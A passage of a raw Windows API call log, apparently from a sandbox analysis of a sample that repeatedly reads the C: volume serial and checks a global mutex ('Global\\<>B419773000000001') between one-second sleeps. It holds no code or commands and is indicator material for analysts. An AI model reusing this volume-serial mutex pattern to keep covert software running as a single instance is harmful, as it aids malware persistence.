GetProcessHeap () returned 0xc10000 [0264.155] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0264.155] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0264.156] GetProcessHeap () returned 0xc10000 [0264.156] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0264.156] GetProcessHeap () returned 0xc10000 [0264.156] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca47f8 [0264.156] GetProcessHeap () returned 0xc10000 [0264.156] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4768 [0264.157] GetProcessHeap () returned 0xc10000 [0264.157] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4768, Size=0x72) returned 0xcf9fa0 [0264.157] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0264.157] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x3a0 [0264.157] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0x0) returned 0x0 [0264.157] GetProcessHeap () returned 0xc10000 [0264.157] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca47f8 | out: hHeap=0xc10000) returned 1 [0264.157] GetProcessHeap () returned 0xc10000 [0264.157] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9fa0 | out: hHeap=0xc10000) returned 1 [0264.157] ReleaseMutex (hMutex=0x3a0) returned 1 [0264.157] CloseHandle (hObject=0x3a0) returned 1 [0264.157] Sleep (dwMilliseconds=0x3e8) [0265.484] GetProcessHeap () returned 0xc10000 [0265.484] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0265.484] GetProcessHeap () returned 0xc10000 [0265.484] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0265.484] GetProcessHeap () returned 0xc10000 [0265.484] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed90 [0265.484] GetProcessHeap () returned 0xc10000 [0265.484] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900670 [0265.484] GetProcessHeap () returned 0xc10000 [0265.484] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900670 | out: hHeap=0xc10000) returned 1 [0265.484] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0265.485] GetProcessHeap () returned 0xc10000 [0265.485] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0265.485] GetProcessHeap () returned 0xc10000 [0265.485] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0265.485] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0265.485] GetProcessHeap () returned 0xc10000 [0265.485] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0265.485] GetProcessHeap () returned 0xc10000 [0265.485] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b10 [0265.485] GetProcessHeap () returned 0xc10000 [0265.485] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0265.485] GetProcessHeap () returned 0xc10000 [0265.485] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0xcfa020 [0265.485] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0265.486] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x358 [0265.486] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x0 [0265.486] GetProcessHeap () returned 0xc10000 [0265.486] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b10 | out: hHeap=0xc10000) returned 1 [0265.486] GetProcessHeap () returned 0xc10000 [0265.486] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa020 | out: hHeap=0xc10000) returned 1 [0265.486] ReleaseMutex (hMutex=0x358) returned 1 [0265.486] CloseHandle (hObject=0x358) returned 1 [0265.486] Sleep (dwMilliseconds=0x3e8) [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900e28 [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900e28 | out: hHeap=0xc10000) returned 1 [0266.659] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0266.659] GetProcessHeap () returned 0xc10000 [0266.659] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0266.660] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0267.085] GetProcessHeap () returned 0xc10000 [0267.086] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0267.086] GetProcessHeap () returned 0xc10000 [0267.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4960 [0267.086] GetProcessHeap () returned 0xc10000 [0267.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0267.086] GetProcessHeap () returned 0xc10000 [0267.086] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0xcf9fa0 [0267.086] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0267.086] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x3a8 [0267.086] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0 [0267.086] GetProcessHeap () returned 0xc10000 [0267.087] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4960 | out: hHeap=0xc10000) returned 1 [0267.087] GetProcessHeap () returned 0xc10000 [0267.087] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9fa0 | out: hHeap=0xc10000) returned 1 [0267.087] ReleaseMutex (hMutex=0x3a8) returned 1 [0267.087] CloseHandle (hObject=0x3a8) returned 1 [0267.087] Sleep (dwMilliseconds=0x3e8) [0268.256] GetProcessHeap () returned 0xc10000 [0268.256] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0268.256] GetProcessHeap () returned 0xc10000 [0268.256] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0268.256] GetProcessHeap () returned 0xc10000 [0268.256] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ebd8 [0268.256] GetProcessHeap () returned 0xc10000 [0268.256] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900708 [0268.256] GetProcessHeap () returned 0xc10000 [0268.256] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900708 | out: hHeap=0xc10000) returned 1 [0268.256] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0268.256] GetProcessHeap () returned 0xc10000 [0268.257] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0268.257] GetProcessHeap () returned 0xc10000 [0268.257] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0268.257] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0268.257] GetProcessHeap () returned 0xc10000 [0268.257] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0268.257] GetProcessHeap () returned 0xc10000 [0268.257] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4960 [0268.257] GetProcessHeap () returned 0xc10000 [0268.258] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0268.258] GetProcessHeap () returned 0xc10000 [0268.258] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0xcfa3a0 [0268.258] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0268.258] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x3ac [0268.258] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0x0) returned 0x0 [0268.258] GetProcessHeap () returned 0xc10000 [0268.258] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4960 | out: hHeap=0xc10000) returned 1 [0268.258] GetProcessHeap () returned 0xc10000 [0268.258] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa3a0 | out: hHeap=0xc10000) returned 1 [0268.258] ReleaseMutex (hMutex=0x3ac) returned 1 [0268.258] CloseHandle (hObject=0x3ac) returned 1 [0268.280] Sleep (dwMilliseconds=0x3e8) [0269.631] GetProcessHeap () returned 0xc10000 [0269.631] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0269.632] GetProcessHeap () returned 0xc10000 [0269.632] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0269.632] GetProcessHeap () returned 0xc10000 [0269.632] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0269.632] GetProcessHeap () returned 0xc10000 [0269.632] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900410 [0269.632] GetProcessHeap () returned 0xc10000 [0269.632] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900410 | out: hHeap=0xc10000) returned 1 [0269.632] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0269.632] GetProcessHeap () returned 0xc10000 [0269.632] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0269.632] GetProcessHeap () returned 0xc10000 [0269.632] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0269.632] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0269.633] GetProcessHeap () returned 0xc10000 [0269.633] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0269.633] GetProcessHeap () returned 0xc10000 [0269.633] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca47f8 [0269.633] GetProcessHeap () returned 0xc10000 [0269.633] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0269.633] GetProcessHeap () returned 0xc10000 [0269.633] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0xcfa0a0 [0269.633] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0269.633] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x3b4 [0269.633] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x0 [0269.633] GetProcessHeap () returned 0xc10000 [0269.633] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca47f8 | out: hHeap=0xc10000) returned 1 [0269.633] GetProcessHeap () returned 0xc10000 [0269.633] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa0a0 | out: hHeap=0xc10000) returned 1 [0269.633] ReleaseMutex (hMutex=0x3b4) returned 1 [0269.634] CloseHandle (hObject=0x3b4) returned 1 [0269.634] Sleep (dwMilliseconds=0x3e8) [0270.991] GetProcessHeap () returned 0xc10000 [0270.991] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0270.991] GetProcessHeap () returned 0xc10000 [0270.991] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f100 [0270.991] GetProcessHeap () returned 0xc10000 [0270.991] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb88 [0270.991] GetProcessHeap () returned 0xc10000 [0270.991] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900cf8 [0270.991] GetProcessHeap () returned 0xc10000 [0270.991] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900cf8 | out: hHeap=0xc10000) returned 1 [0270.991] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f100, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0270.991] GetProcessHeap () returned 0xc10000 [0270.992] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0270.992] GetProcessHeap () returned 0xc10000 [0270.992] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0270.992] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0270.992] GetProcessHeap () returned 0xc10000 [0270.992] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0270.992] GetProcessHeap () returned 0xc10000 [0270.992] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca47b0 [0270.992] GetProcessHeap () returned 0xc10000 [0270.992] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4888 [0270.992] GetProcessHeap () returned 0xc10000 [0270.992] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4888, Size=0x72) returned 0xcfa220 [0270.992] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0270.993] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x340 [0270.993] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x0 [0270.993] GetProcessHeap () returned 0xc10000 [0270.993] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca47b0 | out: hHeap=0xc10000) returned 1 [0270.993] GetProcessHeap () returned 0xc10000 [0270.993] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa220 | out: hHeap=0xc10000) returned 1 [0270.993] ReleaseMutex (hMutex=0x340) returned 1 [0270.993] CloseHandle (hObject=0x340) returned 1 [0270.993] Sleep (dwMilliseconds=0x3e8) [0272.452] GetProcessHeap () returned 0xc10000 [0272.452] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ef48 [0272.452] GetProcessHeap () returned 0xc10000 [0272.452] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec00 [0272.453] GetProcessHeap () returned 0xc10000 [0272.453] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec50 [0272.453] GetProcessHeap () returned 0xc10000 [0272.453] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39005d8 [0272.453] GetProcessHeap () returned 0xc10000 [0272.453] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39005d8 | out: hHeap=0xc10000) returned 1 [0272.453] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0272.453] GetProcessHeap () returned 0xc10000 [0272.453] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec50 | out: hHeap=0xc10000) returned 1 [0272.453] GetProcessHeap () returned 0xc10000 [0272.453] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0272.453] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0272.454] GetProcessHeap () returned 0xc10000 [0272.454] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0272.454] GetProcessHeap () returned 0xc10000 [0272.454] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4c78 [0272.454] GetProcessHeap () returned 0xc10000 [0272.454] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0272.454] GetProcessHeap () returned 0xc10000 [0272.454] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0xcfa4a0 [0272.454] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0272.454] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x3a8 [0272.454] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0 [0272.455] GetProcessHeap () returned 0xc10000 [0272.455] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4c78 | out: hHeap=0xc10000) returned 1 [0272.455] GetProcessHeap () returned 0xc10000 [0272.455] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa4a0 | out: hHeap=0xc10000) returned 1 [0272.455] ReleaseMutex (hMutex=0x3a8) returned 1 [0272.455] CloseHandle (hObject=0x3a8) returned 1 [0272.455] Sleep (dwMilliseconds=0x3e8) [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eef8 [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900c60 [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900c60 | out: hHeap=0xc10000) returned 1 [0274.127] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0274.127] GetProcessHeap () returned 0xc10000 [0274.127] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0274.127] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.128] GetProcessHeap () returned 0xc10000 [0274.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0274.128] GetProcessHeap () returned 0xc10000 [0274.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4b10 [0274.128] GetProcessHeap () returned 0xc10000 [0274.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0274.128] GetProcessHeap () returned 0xc10000 [0274.128] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0xcfa3a0 [0274.128] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x368 [0274.128] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102 [0274.128] CloseHandle (hObject=0x368) returned 1 [0274.128] GetProcessHeap () returned 0xc10000 [0274.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b10 | out: hHeap=0xc10000) returned 1 [0274.128] GetProcessHeap () returned 0xc10000 [0274.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa3a0 | out: hHeap=0xc10000) returned 1 [0274.128] Sleep (dwMilliseconds=0x3e8) [0275.376] GetProcessHeap () returned 0xc10000 [0275.376] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0275.376] GetProcessHeap () returned 0xc10000 [0275.376] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ee30 [0275.376] GetProcessHeap () returned 0xc10000 [0275.376] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee08 [0275.377] GetProcessHeap () returned 0xc10000 [0275.377] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39001b0 [0275.377] GetProcessHeap () returned 0xc10000 [0275.377] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39001b0 | out: hHeap=0xc10000) returned 1 [0275.377] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ee30, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0275.377] GetProcessHeap () returned 0xc10000 [0275.377] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee08 | out: hHeap=0xc10000) returned 1 [0275.377] GetProcessHeap () returned 0xc10000 [0275.377] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0275.377] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0275.377] GetProcessHeap () returned 0xc10000 [0275.377] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0275.377] GetProcessHeap () returned 0xc10000 [0275.377] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0275.378] GetProcessHeap () returned 0xc10000 [0275.378] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca48d0 [0275.378] GetProcessHeap () returned 0xc10000 [0275.378] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca48d0, Size=0x72) returned 0xcfa220 [0275.378] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x27c [0275.378] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0275.378] CloseHandle (hObject=0x27c) returned 1 [0275.378] GetProcessHeap () returned 0xc10000 [0275.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0275.378] GetProcessHeap () returned 0xc10000 [0275.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa220 | out: hHeap=0xc10000) returned 1 [0275.378] Sleep (dwMilliseconds=0x3e8) [0276.603] GetProcessHeap () returned 0xc10000 [0276.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ef48 [0276.603] GetProcessHeap () returned 0xc10000 [0276.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0276.603] GetProcessHeap () returned 0xc10000 [0276.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed90 [0276.603] GetProcessHeap () returned 0xc10000 [0276.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900968 [0276.603] GetProcessHeap () returned 0xc10000 [0276.603] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900968 | out: hHeap=0xc10000) returned 1 [0276.603] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0276.603] GetProcessHeap () 